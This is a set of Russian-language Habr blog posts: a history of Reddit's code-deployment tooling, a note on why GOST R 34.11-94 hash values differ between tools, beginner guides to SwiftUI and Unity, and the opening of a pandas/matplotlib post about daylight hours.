### Начало истории: стабильные и повторяющиеся деплои (2007-2010)
Вся имеющаяся у нас сегодня система выросла из одного зернышка — Perl-скрипта под названием push. Он был написан давно, в совсем другие для Reddit времена. Вся наша техническая команда тогда была настолько мала, что спокойно [помещалась в одну небольшую «переговорку»](https://redditupvoted.files.wordpress.com/2010/03/1dff6-table.jpg). Мы тогда еще не пользовались AWS. Сайт работал на конечном количестве серверов, и любые дополнительные мощности надо было добавлять вручную. Все работало на одном крупном, монолитном Python-приложении под названием r2.
Одна вещь за все эти годы осталась неизменной. Запросы проходили классификацию в балансировщике нагрузки и распределялись по «пулам», содержащим более или менее идентичные серверы приложений. К примеру, страницы [списков тем](https://www.reddit.com/r/rarepuppers/) и [комментариев](https://www.reddit.com/r/AskReddit/comments/cq1q2/help_reddit_turned_spanish_and_i_cannot_undo_it/) обрабатываются разными пулами серверов. На самом деле любой r2-процесс может обрабатывать любые типы запросов, однако разделение на пулы позволяет защитить каждый из них от резких скачков трафика в соседних пулах. Таким образом, в случае роста трафика отказ грозит не всей системе, а отдельным ее пулам.

Список целевых серверов был прописан вручную в коде инструмента push, а процесс развертывания работал с монолитной системой. Инструмент пробегал по списку серверов, заходил по SSH, запускал одну из заранее заданных последовательностей команд, обновлявших текущую копию кода с помощью git, и перезапускал все процессы приложений. Суть процесса (код сильно упрощен для общего понимания):
```
# создаем статические файлы и помещаем их на выделенные под статику серверы
`make -C /home/reddit/reddit static`
`rsync /home/reddit/reddit/static public:/var/www/`
# проходим по всем app-серверам и обновляем на них текущие копии кода
# как только все готово, перезагружаем их
foreach $h (@hostlist) {
`git push $h:/home/reddit/reddit master`
`ssh $h make -C /home/reddit/reddit`
`ssh $h /bin/restart-reddit.sh`
}
```
Развертывание происходило последовательно, один сервер за другим. При всей своей простоте схема имела важный плюс: она очень похожа на «[канареечный деплой](http://martinfowler.com/bliki/CanaryRelease.html)». Развернув код на нескольких серверах и заметив ошибки, вы сразу понимали, что баги есть, могли прервать (Ctrl-C) процесс и откатиться до того, как проблемы возникнут со всеми запросами сразу. Простота развертывания позволяла легко и без серьезных последствий проверять вещи в продакшене и откатываться если они не работали. Кроме того, было удобно определять какой именно деплой вызвал ошибки, где конкретно и что надо откатывать.
Такой механизм хорошо справлялся с обеспечением стабильности и контроля при развертываниях. Инструмент работал довольно быстро. Дела шли как надо.
### В нашем полку прибыло (2011)
Потом мы наняли еще людей, разработчиков теперь было шестеро, а наша новая [«переговорка» стала просторнее](https://redditblog.com/2011/07/06/its-time-for-us-to-pack-up-and-move-on-to-bigger-and-better-things/). Мы начали понимать, что процесс развертывания кода теперь нуждался в большей координации, особенно когда коллеги работали из дома. Утилита push была обновлена: теперь она объявляла о начале и завершении деплоев с помощью IRC чат-бота, который просто сидел в IRC и объявлял события. Выполняемые во время деплоев процессы не претерпели почти никаких изменений, однако теперь система делала все за разработчика и говорила всем остальным о внесенных модификациях.
С этого момента началось использование чата в рабочем процессе развертываний. В то время разговоры об управлении развертыванием из чатов были довольно популярны, однако поскольку мы использовали сторонние IRC-серверы, мы не могли довериться чату на все сто в деле управления продакшн средой, и потому процесс так и остался на уровне одностороннего потока информации.
По мере роста трафика на сайте, росла и поддерживающая его инфраструктура. Время от времени нам то и дело приходилось запускать новую группу серверов приложений и вводить их в строй. Процесс по-прежнему не был автоматизирован. В частности, список хостов в push все еще надо было обновлять вручную.
Мощность пулов обычно наращивали, добавляя в них по несколько серверов за раз. В результате последовательно пробегающий по списку push успевал накатить изменения на целую группу серверов в одном и том же пуле, не затронув при этом другие, то есть не было диверсификации по пулам.

Для управления процессами-воркерами использовался [uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/) и поэтому когда мы давали приложению команду на перезагрузку, оно убивало сразу все существующие процессы, заменяя их новыми. Новым процессам требовалось некоторое время чтобы приготовиться к обработке запросов. В случае с непреднамеренным перезапуском группы находящихся в одном пуле серверов сочетание этих двух обстоятельств серьезно сказывалось на способности этого пула обслуживать запросы. Так мы уперлись в ограничение по скорости безопасного развертывания кода на все серверы. С ростом количества серверов, росла и длительность всей процедуры.
### Переработка инструмента деплоя (2012)
Мы основательно переработали инструмент развертывания. И хотя название его, несмотря на полную переделку, осталось прежним (push), на этот раз он был написан на Python. В новой версии были некоторые серьезные улучшения.
Прежде всего он забирал список хостов из DNS, а не из жестко прописанной в коде последовательности. Это позволяло обновлять только список, без необходимости обновления кода push. Появились зачатки системы обнаружения сервисов.
Чтобы решить проблему последовательных перезапусков, мы перемешивали список хостов перед развертываниями. Перетасовка снижала риски и позволяла ускорить процесс.

Первоначальный вариант каждый раз перемешивал список случайным образом, однако это осложняло быстрый откат, поскольку всякий раз список первой группы серверов был разным. Поэтому мы подправили перемешивание: оно теперь генерировало некий порядок, которым можно было пользоваться во время повторного деплоя после отката.
Еще одним небольшим, но важным изменением было постоянное развертывание некоторой фиксированной версии кода. Предыдущая версия инструмента всегда обновляла master-ветку на целевом хосте, но что будет, если master изменится прямо во время деплоя из-за того, что кто-то по ошибке запушил код? Развертывание некоторой заданной ревизии git вместо обращения по имени ветки, позволяло удостовериться, что на каждом продакшн-сервере была применена одна и та же версия кода.
И наконец, новый инструмент различал свой код (работал преимущественно со списком хостов и заходил на них по SSH) и исполняемые на серверах команды. Он все еще очень сильно зависел от потребностей r2, но имел что-то наподобие прототипа API. Это позволяло r2 следить за собственными шагами развертывания, что упрощало раскатывание изменений и освобождало поток. Далее пример команд, выполняемых на отдельном сервере. Код, опять же, не точный код, но в целом эта последовательность хорошо описывает рабочий процесс r2:
```
sudo /opt/reddit/deploy.py fetch reddit
sudo /opt/reddit/deploy.py deploy reddit f3bbbd66a6
sudo /opt/reddit/deploy.py fetch-names
sudo /opt/reddit/deploy.py restart all
```
Особенно стоит отметить fetch-names: эта инструкция уникальна именно для r2.
### Автомасштабирование (2013)
Потом мы решили, наконец, перейти в облако с автоматическим масштабированием (тема для целого отдельного поста). Это позволило нам сэкономить целую кучу денег в те моменты, когда сайт не был загружен трафиком и автоматически наращивать мощность, чтобы справиться с любым резким ростом запросов.
Предыдущие усовершенствования, автоматически подгружавшие список хостов из DNS, превратили этот переход в нечто само собой разумеющееся. Список хостов менялся чаще чем раньше, но с точки зрения инструмента деплоя, это не играло никакой роли. Изменение, которое изначально было введено как качественное улучшение стало одним из ключевых компонентов, необходимых для запуска автомасштабирования.
Тем не менее автомасштабирование привело к появлению некоторых интересных пограничных случаев. Появилась потребность контролировать запуски. Что произойдет, если сервер запустится прямо во время деплоя? Нам надо было убедиться, что каждый новый запущенный сервер проверял наличие нового кода и забирал его, если таковой был. Нельзя было забывать и о серверах, уходящих в офлайн в момент разворачивания. Инструменту нужно было стать умнее и научиться определять, что сервер ушел в офлайн в рамках процедуры, а не в результате возникшей во время деплоя ошибки. В последнем случае он должен был громко предупредить всех причастных к проблеме коллег.
В то же время мы как бы между прочим и по самым разным причинам перешли с uWSGI на [Gunicorn](http://gunicorn.org/). Однако с точки зрения темы этого поста, подобный переход не привел к каким-либо значительным изменениям.
Так оно и работало какое-то время.
### Слишком много серверов (2014)
Со временем количество серверов, необходимых для обслуживания пикового трафика, росло. Это приводило к тому, что деплои требовали все больше и больше времени. При худшем сценарии на один нормальный деплой уходил примерно час — плохой результат.
Мы переписали инструмент, чтобы тот мог поддерживать параллельную работу с хостами. Новая версия получила название [rollingpin](https://github.com/reddit/rollingpin). Старой версии требовалось много времени на инициализацию ssh-соединений и ожидание завершения всех команд, поэтому распараллеливание в разумных пределах позволяло ускорить развертывание. Время развертывания снова снизилось до пяти минут.

Для уменьшения влияния одновременной перезагрузки множества серверов, перемешивающий компонент инструмента стал умнее. Вместо того чтобы выполнять перемешивание списка вслепую, он сортировал пулы серверов так, чтобы хосты из одного пула оказывались друг от друга [максимально далеко](https://github.com/reddit/rollingpin/blob/master/rollingpin/utils.py#L94-L110).
Самым важным изменением в новом инструменте было то, что [API между инструментом деплоя и инструментами на каждом из серверов](https://github.com/reddit/rollingpin/blob/master/example-deploy.py) были определены гораздо яснее и отделены от потребностей r2. Изначально это делалось из желания сделать код более ориентированным на open-source, однако вскоре этот подход оказался очень полезен и в другом отношении. Далее пример развертывания c выделением удаленно запускаемых API команд:

### Слишком много людей (2015)
Внезапно наступил момент, когда над r2, как оказалось, работало уже очень много людей. Это было классно, и в том же время означало, что деплоев станет еще больше. Соблюдать правило одного деплоя за раз становилось все сложнее и сложнее. Разработчикам приходилось договариваться друг с другом о порядке выпуска кода. Чтобы оптимизировать ситуацию, мы добавили чат-боту еще один элемент, координирующий очередь развертываний. Инженеры запрашивали резерв деплоя и либо получали его, либо их код «вставал» в очередь. Это помогало упорядочивать развертывания, а желающие выполнить их могли спокойно ждать своей очереди.
Другим важным дополнением по мере роста команды было отслеживание развертываний в [каком-то одном месте](https://codeascraft.com/2010/12/08/track-every-release/). Мы изменили инструмент деплоя, чтобы он отправлял метрики в Graphite. Это позволяло легко прослеживать корреляцию между развертываниями и изменениями метрик.
### Много (два) сервиса (тоже 2015)
Так же внезапно наступил и момент выпуска в онлайн второго сервиса. Это была мобильная версия веб-сайта со своим, совершенно другим стеком, собственными серверами и процессом сборки. Это была первая реальная проверка разделенного API деплой-инструмента. Добавление в него возможности отрабатывать все этапы сборки в разных «локейшенах» для каждого проекта позволило ему выдержать нагрузку и справиться с обслуживанием двух сервисов в рамках одной системы.
### 25 сервисов (2016)
На протяжении следующего года мы стали свидетелями стремительного расширения команды. Вместо двух сервисов появились целые две дюжины, вместо двух команд разработчиков — пятнадцать. Большинство сервисов было собраны либо на [Baseplate](https://github.com/reddit/baseplate), нашем бекэнд-фреймворке, либо на клиентских приложениях по аналогии с мобильным вебом. Стоящая за деплоями инфраструктура едина для всех. Вскоре в онлайн выйдет множество других новых сервисов, и все это — во многом благодаря универсальности rollingpin’а. Она позволяет упростить запуск новых сервисов с помощью хорошо знакомых людям инструментов.
### Подушка безопасности (2017)
По мере увеличения количества серверов в составе монолита, время развертывания росло. Мы хотели существенно увеличить количество параллельных деплоев, однако это вызвало бы слишком много одновременных перезагрузок серверов приложений. Такие вещи, естественно приводят к падению пропускной способности и потере возможности обслуживания входящих запросов в силу перегрузки остающихся в строю серверов.
Основной процесс Gunicorn использовал ту же самую модель, что и uWSGI, перезагружая всех воркеров одновременно. Новые процессы-воркеры были неспособны обслуживать запросы до тех пор, пока полностью не загрузятся. Время запуска нашего монолита варьировалось от 10 до 30 секунд. Это означало, что в этот промежуток времени мы вообще не смогли бы обрабатывать запросы. Чтобы найти выход из этой ситуации мы заменили основной процесс gunicorn менеджером воркеров [Einhorn](https://github.com/stripe/einhorn) от Stripe, [сохранив при этом HTTP-стек Gunicorn и контейнер WSGI](https://github.com/reddit/reddit/blob/master/r2/r2/lib/einhorn.py). Во время перезагрузки Einhorn создает нового воркера, дожидается пока тот будет готов, избавляется от одного старого воркера и повторяет процесс до полного обновления. Это создает подушку безопасности и позволяет нам держать пропускную способность на уровне во время деплоев.
Новая модель создала другую проблему. Как уже упоминалось ранее, замена воркера на нового и полностью готового требовала до 30 секунд. Это означало, что при наличии в коде бага, он всплывал не сразу и успевал развернуться на множестве серверов, прежде чем был обнаружен. Для предотвращения этого, мы ввели механизм блокировки перехода процедуры развертывания на новый сервер, действовавшей до тех пор, пока все процессы воркеров не будут перезапущены. Реализовано это было просто — за счет опросов состояния einhorn и ожидания готовности всех новых воркеров. Чтобы сохранить скорость на прежнем уровне мы расширили количество параллельно обрабатываемых серверов, что было вполне безопасно в новых условиях.
Такой механизм позволяет нам проводить одновременное развертывание на гораздо большем количестве машин, а время деплоя, охватывающего примерно 800 серверов, снижается до 7 минут, с учетом дополнительных пауз на проверку наличия багов.
### Оглядываясь назад
Описанная здесь инфраструктура деплоя — продукт, родившийся в результате многих лет последовательных улучшений, а не единоразового целенаправленного усилия. Отголоски принятых когда-то решений и достигнутых на ранних этапах компромиссов до сих пор дают о себе знать в текущей системе, и так было всегда и на всех этапах. В подобном эволюционном подходе есть свои плюсы и минусы: он требует минимум усилий на любом этапе, однако возникает риск рано или поздно зайти в тупик. Важно следить за направлением своего развития, чтобы иметь возможность вовремя направить его в полезное русло.
### Будущее
Инфраструктура Reddit должна быть готова к постоянной поддержке команды по мере ее роста и запуска новых вещей. Скорость роста компании велика как никогда, и мы работаем над еще более интересными и крупными проектами, чем все, что мы делали ранее. Проблемы, с которыми мы сталкиваемся сегодня имеют двойственную природу: с одной стороны, это необходимость повышать автономность разработчиков, с другой — поддерживать безопасность инфраструктуры продакшена и улучшать подушку безопасности, позволяющую разработчикам быстро и уверено выполнять деплои.
[](https://wirexapp.com/ru/) | https://habr.com/ru/post/404577/ | null | ru | null |
# Многоликий ГОСТ Р 34.11-94

Готовил я как-то тесты для системы, один из модулей которой помимо всего остального вычислял значение хеш-функции для загружаемого файла. В ТЗ был прописан и необходимый алгоритм — ГОСТ Р 34.11-94. За эталон я взял значение хеша, посчитанного сторонней утилитой **Rhash**.
`f86c9ecfb6e63726b35ebc79528d013d52b781e06e29d7eb0c9d1cb256efb7c1`
Понимая, что функция вычисляется стандартной библиотекой, я больше для очистки совести отправил запрос, соответствующий загрузке файла в модуль. Но судьба человека полна неожиданностей. И стоит только расслабиться, как видишь нечто подобное:
`964ba8755ca782ec3c5e0f98c93347f9b96d9f39cf5c7fdef43a23273fe8868a`
Кто не прав — разработчик модуля или утилиты?
Оказалось, ни то, ни другое.
Дело в том, что ГОСТ Р 34.11-94 подразумевает использование параметров — так называемых узлов замены и стартового вектора хеширования. Но не регламентирует конкретные значения. Тем не менее в приложении к ГОСТ есть примеры данных значений и рекомендация:
> использовать только в проверочных примерах для настоящего стандарта.
>
>
После изучения предметной области выяснилось, что существует два RFC. [RFC 4357](http://tools.ietf.org/html/rfc4357), в котором используются параметры, созданные «КриптоПро», и [RFC 5831](http://tools.ietf.org/html/rfc5831) с теми самыми значениями из ГОСТ. Rhash по умолчанию считает хеш по RFC 5831. Использование параметров «КриптоПро» необходимо явно указывать:
`rhash **--gost-cryptopro** <Имя файла>`
Казалось бы, проблема решена. Но, чтобы было еще интереснее, стандарт не определяет формат вывода хеша. А поэтому возникает вопрос с [порядком байтов](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B1%D0%B0%D0%B9%D1%82%D0%BE%D0%B2).

Для непосвященных — существует два основных способа представления данных. От старшего байта к младшему (Big-endian), и наоборот (Little-endian).
Рассмотрим пример. Для наглядности выделены байты.
Big-endian последовательность байт:
`rhash --gost-cryptopro **--gost-reverse** <Имя файла>
8a86e83f27233af4de7f5ccf399f6db9f94733c9980f5e3cec82a75c75a84b**96**`
Little-endian порядок:
`rhash --gost-cryptopro <Имя файла>
**96**4ba8755ca782ec3c5e0f98c93347f9b96d9f39cf5c7fdef43a23273fe8868a`
Таким образом, противоречия нет — все вышеперечисленные значения, а также
`rhash --gost --gost-reverse <Имя файла>
c1b7ef56b21c9d0cebd7296ee081b7523d018d5279bc5eb32637e6b6cf9e6cf8`
соответствуют ГОСТ Р 34.11-94.
Ссылки:
[Википедия](https://ru.wikipedia.org/wiki/%D0%93%D0%9E%D0%A1%D0%A2_%D0%A0_34.11-94)
[Подробное описание](http://gosthash.chat.ru/) | https://habr.com/ru/post/279895/ | null | ru | null |
# Быстрое ознакомление с SwiftUI
SwiftUI — это новый удобный способ для создания пользовательских интерфейсов на Xcode. Если хотите быстрое ознакомление с SwiftUI, тогда этот блог пост для вас.
Для начала давайте создадим проект с поддержкой SwiftUI. Минимально необходимые для этого требования системы — это macOS Catalina и Xcode 11. Создайте новый проект *“File > New > Project…”*, выберите *“Single View App”* и убедитесь, что выбрано *“User Interface: SwiftUI”*.

Проект будет выглядеть примерно так:

Как могли заметить, теперь можно видеть все изменения сразу же на *Preview*. Например, попробуйте изменить текст на *“Привет, Хабр!”*. Круто да?
Если изменений нет, то нажмите кнопку *Resume* (в правом верхнем углу). Если *Preview* не видно — нажмите на *Editor options* и убедитесь, что выбрана *Canvas (⌥Options + ⌘Command + ↵Enter)*.

### View, Text, Stack...
Если выбрать *ContentView.swift*, то увидим:
```
struct ContentView: View {
var body: some View {
Text("Привет, Хабр!")
}
}
```
Здесь мы видим, что у *ContentView > body* есть *Text*, который выводит *“Привет, Хабр!”*. Давайте добавим еще один текст. Если попробовать напрямую добавить в *body view*, Xcode будет ругатся. Для этого сначала используем *HStack* или *VStack*. Нажмите *Command* и кликните на *Text (⌘Command + Text)*, потом выберите *“Embed in HStack”*.

Это команда автоматически создаст *HStack* и добавит туда наш текст. Теперь можно добавить еще один текст:
```
struct ContentView: View {
var body: some View {
HStack {
Text("Привет,")
Text("Хабр!")
}
}
}
```
### SwiftUI Inspector
Если нажать на *“⌘Command + Text”* и выбрать *“Show SwiftUI Inspector...”*, откроется инспектор, где можно менять визуально свойства текста. Например, если в инспекторе *“Font”* поменяли на *“Large Title”*, то код тоже изменится на *.font(.largeTitle)*. Очень просто:

### Что такое [State](https://habr.com/ru/users/state/)?
Чтобы понять, что такое *[State](https://habr.com/ru/users/state/)*, давайте добавим какое-то действие. Повторяем то, что делали раньше: *“⌘Command + HStack”*, выбираем *“Embed in VStack”*, потом в этот *VStack* добавьте Button:
```
struct ContentView: View {
@State var tapCount = 0
var body: some View {
VStack {
HStack {
Text("Привет,")
.font(.largeTitle)
.foregroundColor(Color.green)
Text("Хабр!")
.font(.largeTitle)
.fontWeight(.bold)
}
Button(action: {
self.tapCount += 1
}) {
Text("Tap count \(tapCount)")
.font(.title)
}
}
}
}
```
При каждом нажатии на кнопку мы меняем значение *tapCount*. Но что означает *[State](https://habr.com/ru/users/state/)*? Если мы хотим, чтобы при изменении какого-то значения, наш *view* рендерился заново, тогда нам следует использовать *[State](https://habr.com/ru/users/state/)*. В данном случае когда мы кликаем на кнопку, мы меняем *tapCount*, который обозначен как *[State](https://habr.com/ru/users/state/)*. Именно поэтому при каждом нажатии наш *body* рендерится заново.
### Live Preview
На данный момент если нажать на кнопку, то ничего не происходит. Чтобы это исправить и работать как на симуляторе, нужно активировать *“Live Preview”*. Kнопкa для активации находится снизу справа:

Теперь попробуйте еще раз. При каждом нажатии значение кнопки будет меняться.
### Что дальше?
Теперь вы имеете базовое понятие про SwiftUI. Дальше советую прочесть туториалы [SwiftUI Tutorials](https://www.google.com/url?q=https%3A%2F%2Fdeveloper.apple.com%2Ftutorials%2Fswiftui%2Ftutorials&sa=D&sntz=1&usg=AFQjCNH3_brbgtyQdc95VCcWm1HNi3irBw), посмотреть [WWDC видео про SwiftUI](https://www.google.com/url?q=https%3A%2F%2Fdeveloper.apple.com%2Fvideos%2Fall-videos%2F%3Fq%3DswiftUI&sa=D&sntz=1&usg=AFQjCNHanQyq3cEL1HRQM6VKSmO3bZimnA). Документацию можно найти [здесь](https://www.google.com/url?q=https%3A%2F%2Fdeveloper.apple.com%2Fdocumentation%2Fswiftui&sa=D&sntz=1&usg=AFQjCNHrRoV9R6A1d12f0RAfMA9wGwuS0w).
Ссылка на github проект находится [здесь](https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fusenbekov%2Fswiftui-first-view&sa=D&sntz=1&usg=AFQjCNGV7kdZDyWtTmV3vNw1D4M-Z3iWtQ). | https://habr.com/ru/post/483316/ | null | ru | null |
# Базовые навыки для работы с Unity

Доброго времени суток, уважаемые хабаровчане!
Каждый разработчик хочет быстрее создать свою игру, но как сделать это? В этой статье рассмотрены базовые навыки, позволяющие сократить время разработки в среде Unity.
### Навык #1 — Работа со структурой проекта
Для поддержания порядка в проекте требуется разобраться с его структурой. Она может быть представлена в следующем виде:
1. Models — хранит все модели, используемые в проекте
2. Prefabs — хранит все шаблоны моделей
3. Textures — хранит все текстуры
4. Materials — хранит все материалы
5. Scripts — хранит все скрипты
6. Sounds — хранит все звуки
7. Animations — хранит все анимации
Если у Вас есть сложные объекты, например, персонаж, для него создается отдельная папка, где повторяется вышеописанная структура.

*Структура папки персонажа*
Другим подходом будет создание вышеописанных папок, и размещение в каждой папке частей объекта, то есть для анимации персонажа будет следующая структура.

*Структура папки анимаций*
### Навык #2 — Работа с иерархией объектов на сцене
Для упрощения работы с наборами одинаковых объектов их можно объединять в группы, где в качестве родителя выступает пустой объект.
Это поможет легко отключить свет на всей локации или в помещении. Узнать месторасположение всех объектов.
Каждый элемент называется относительно того, что он из себя представляет, в конце добавляется постфикс родительского объекта. Например, золотой слиток в пещере будет носить название «goldBar\_cv1», где cv1 обозначает cave1, а дерево в лесу «tree\_frt1», где frt1 обозначает forest1. Для постфикс берется первая буква слова, первая буква второго слога и последняя буква слова.

*Пример иерархии объектов на сцене*
### Навык #3 — Работа с визуальным представлением
В Unity имеется 3 основных источника света:
1. Направленный свет (Directional Light) — аналог Солнца
2. Точечный свет (Point Light) — аналог лампочки
3. Прожектор (Spotlight) — аналог фонарика
Если есть свет, значит должен быть источник света. Например, в пещере не может быть светло, если у персонажа нет факела (для факела подойдет точечный свет).
Используйте PostProcessing для наложения эффектов.

*Сцена без постобработки*

*Сцена с постобработкой*
**UPD** от [thenonsense](https://habr.com/ru/users/thenonsense/):
> Кроме визуально представленных источников света есть ещё глобальные настройки света: вкладка сверху **Window**, пункт **Lighting**, подпункт **Settings**. Там можно, например, подкрутить освещение окружения, установить скайбокс, добавить туман. Собственно, именно сюда нужно заглянуть, если вы задались вопросом «удалил все источники света, а на сцене всёравно светло, как днём». Кстати, в эти настройки можно залезать уже во время того, как в редакторе запущена игра, чтобы сразу, на лету, видеть изменения. Правда, после закрытия игрового режима настройки вернутся к тому состоянию, какими они были до запуска игрового теста. Так что придётся снова залезть в это окно и откорректировать значения. Полезная деталь — если вам, допустим, хотелось поменять цвет освещения (Ambient color в группе Environment Lighting), то на панели с палитрой обратите внимание на пункт Hexadecimal — там в окошке указан номер текущего цвета, можно скопировать его и позднее вставить в это же поле, когда игровой режим будет выключен. Этот же трюк пригодится для настройки цвета тумана и так далее.
>
>
>
> Подобным же образом, находясь в запущенном в игровом режиме, можно менять какие-то параметры у объектов через редактор — значения переменных скриптов вынесенные в зону видимости, включение/отключение рендера сетки объекта и так далее. Главное не увлекаться, чтобы чего-либо не сломать. После выключения игрового режима изменённые значения восстановятся. Это не касается некоторых отдельных элементов, например, если вы во включенном игровом режиме редактировали текстуру террайна, то её изменения сохранятся.
### Навык #4 — Работа с камерой
Нужно найти объект на сцене? Кликните 2 раза по имени объекта в иерархии.
Хотите пролететь по сцене от 1 лица? Зажмите ПКМ и перемещайтесь клавишами WASD, на Shift ускорение.
Требуется посмотреть сцену с разных углов? Воспользуйтесь Гизмо (Gizmos).

*Расположение Гизмо*
### Навык #5 — Работа с объектами
Хотите добавить персонажа на сцену? Добавьте компоненты RigidBody и CapsuleCollaider. RigidBody говорит движку, что к этому объекту должна применяться физика твердого тела.
Хотите проверить столкновение персонажа с объектом? Добавьте объекту компонент MeshCollaider и в скрипте персонажа в функции OnCollisionEnter проверяйте тег (tag) объекта, с которым столкнулся персонаж.
**Пример реализации проверки столкновения персонажа с объектом**
```
private void OnCollisionEnter(Collision collision)
{
switch (collision.gameObject.tag)
{
case "Moneys":
Destroy(collision.gameObject);
// Do something
break;
case "TrapSpikes":
hitPoints -= 5.5;
break;
}
}
```
**UPD** от [thenonsense](https://habr.com/ru/users/thenonsense/):
> Не всегда для персонажа требуется использовать rigidbody, методы управления могут быть разные. А вот коллайдер для персонажа потребуется почти всегда, если только вы не собрались высчитывать столкновения более хитрым способом. Так же в Unity есть несколько специфических контроллеров/коллайдеров — лучше почитать документацию, чтобы подробнее в них разобраться. Но начать лучше с простых примеров на ютубе.
>
>
>
> Что касается тех объектов, с которыми персонаж сталкивается. Mesh Collider обычно следует вешать на те объекты, сложная форма которых вам так или иначе важна для учёта столкновения. Если это просто кнопка, то лучше обойтись коллайдерами попроще, вроде Box Collider. Кроме того вам, возможно, придётся для особо сложных 3д объектов делать более простую, невидимую, сетку столкновений и вешать Mesh Collider на неё, а не на сам видимый объект.
>
>
>
> Про кнопки-коллайдеры стоит помнить, что в их компоненте коллайдера нужно поставить флажок на пункт **Is Trigger**, чтобы скрипт вобще мог обработать событие нажатия. Всяким бочкам, ящикам и прочим объектам, которые должны просто красиво физически реагировать на столкновения и падать под действием гравитации надо назначать компонент rigidbody.
>
>
### Навык #6 — Импорт моделей
Рассмотрим порядок действий на примере импорта модели из Blender. Предполагается, что Вы уже сделали развертку, нанесли текстуру или выбрали материалы.
1. Расположить модель в нулевых координатах (центрировать относительно осей)
2. Установить масштаб (Scale) равным единице
3. Удалить лишние объекты (камера, источник света)
4. Сохранить модель в формате .fbx
5. Перенести файл в Unity
6. Растащить по папкам — Модель к Моделям, Материал к Материалам и т.д.
7. Создать префаб модели
8. Работать дальше с префабами
**UPD** от [thenonsense](https://habr.com/ru/users/thenonsense/):
> ### Blender
>
>
>
> Обратите внимание, что если на модель назначены материалы блендера, то они в упрощённом виде перенесутся тоже и будут захламлять список материалов.
>
> Можно вовсе не делать сложные развёртки и текстурирование в Blender'е — более простой способ это пройтись по всем элементам модели и для каждой выбрать в окне справа пункт **Data**. Это значок в виде смотрящего вниз треугольника с тремя точками, между пунктами Modifiers (гаечный ключ) и Material (розовый шарик). В нём нажимаете на **+** рядом с графой **UV Maps** — там появляется автоматическая развёртка со значком шахматного шарика. Это нужно сделать для каждого элемента модели и только после этого делать экспорт. Тогда уже в Unity на эту деталь можно будет наложить материал с тайловой текстурой, а если этого не сделать, то материал будет лишь окрашивать деталь в сплошной цвет. (Если вы позднее деформировали элемент модели, то сбросьте развёртку и переназначьте заново, чтобы она не была растянутой).
>
>
>
> Если ваша модель состоит из разных элементов, то уже в Unity вы можете двигать отдельные элементы своей модели или отключать их. Это может быть полезно в различных ситуациях.
>
>
>
> ### Как по-простому текстурировать модель.
>
>
>
> Для начала вам хватит каких-нибудь тайловых текстур 512 на 512. Добавляете её так же, как и 3д модель, через Import New Asset (помните, что должна быть выбрана подходящая папка). При этом справа, в инспекторе, у добавленной текстуры в окне **Default** выставляете параметр **Max Size** в 512. И затем жмёте **Apply**. Теперь текстура готова для того, чтобы добавить её в материал или, допустим, ею теперь можно раскрашивать террайн. Обратите внимание на самый первый пункт — Texture Type, сейчас он в дефолтном режиме, но когда вам понадобится загрузить карту нормали, изображение для полупрозрачного спрайта, и так далее, то потребуется там выставить соответствующую настройку.
>
> Далее нам понадобится создать материал. Заходим опять в меню сверху — **Assets**, выпадающий список **Create**, **Material** (опять не забудьте, что материал создастся в той папке, которая выбрана сейчас). Вбиваете название материала и в инспекторе открываете пункт **Albedo** (на других параметрах пока не будем останавливаться, но принцип схож), где ищете и назначаете свою ранее загруженную текстуру. Рядом есть окошко цвета, которым можно дополнительно подкрасить вашу текстуру, а также ползунки Metalic и Smoothness, чтобы добавить блики или матовость. Также пригодится параметр размера тайлов Tiling, он находится на несколько строк ниже.
>
> После того как материал создан можно хватать его и перекидывать прямо на модель или её элементы, только не промахнитесь, а то покрасите не то, что нужно.
>
>
>
> Не забывайте что одна и та же текстура может быть использована в разных материалах. Допустим, с примесями разного цвета и/или разным размером тайлов.
>
>
>
> ### Префабы.
>
>
>
> Обычно префаб делается примерно так — перетащили объект на сцену, потом зацепили его имя в окне иерархии и перетащили внутрь папки. Тогда там появится префаб на основе объекта, в инспекторе у префаба будет значок синего кубика и ниже тега будет так и подписано, Prefab.
>
> Однако, вам незачем обязательно сразу всё делать префабами. Вы можете бросить объект на сцену, затем расклонировать его копипастом и тестировать прямо так. Если всё устраивает, то переводите объект в префаб, если нет, например в модели выявился какой-то баг, то удаляете её копии со сцены, саму модель из папки, исправляете в 3д пакете и импортируете заново.
>
>
>
> Вы также можете засунуть внутрь префаба, выставленного на сцену, какие-то новые дочерние элементы. При этом они не станут полноценной его частью, то есть не повлияют на прочие копии этого префаба, пока вы не нажмёте кнопку Apply в инспекторе на строчке с названием Prefab.
### Навык #7 — Реализация логики
Избегайте выполнения дорогостоящих операций. Примером может служить определение расстояния до объекта.
**Пример с дорогостоящей операцией**
```
using UnityEngine;
using System.Collections;
public class ExampleClass : MonoBehaviour
{
public Transform other;
void Example()
{
if (other)
{
// Считаем квадратный корень из суммы квадратов
// В данном случае квадратный корень является дорогостоящей операцией
float dist = Vector3.Distance(other.position, transform.position);
print("Distance to other: " + dist);
}
}
}
```
**Пример более быстрой реализации**
```
using UnityEngine;
using System.Collections;
public class ExampleClass : MonoBehaviour
{
public Transform other;
public float closeDistance = 5.0f;
void Update()
{
if (other)
{
Vector3 offset = other.position - transform.position;
// Считаем только сумму квадратов
float sqrLen = offset.sqrMagnitude;
// Возводим в квадрат расстояние, с которым мы сравниваем
if (sqrLen < closeDistance * closeDistance)
{
print("The other transform is close to me!");
}
}
}
}
```
Прочитать больше о дорогостоящих операций можно [здесь](https://docs.microsoft.com/ru-ru/windows/mixed-reality/performance-recommendations-for-unity).
### Заключение
Вышеперечисленные навыки позволят значительно сократить время как во время разработки, так и во время сопровождения проекта.
Если Вы считаете, что какие-то темы раскрыты поверхностно, просьба написать в комментариях о них поподробнее. | https://habr.com/ru/post/459184/ | null | ru | null |
# График счастья с python, pandas и matplotlib

Зима — это по истине прекрасное время года. Но именно зимой я всегда задумываюсь о том, что встаю и ухожу на работу, а затем и возвращаюсь с работы, не видя солнечного света. Сегодня мне захотелось визуализировать данные о восходе и заходе солнца и соотнести их со столь привычным для многих распорядком дня (рабочие часы и время бодрствования). Для работы мы будем использовать Python (pandas + matplotlib). Посмотрим, что из этого получилось.
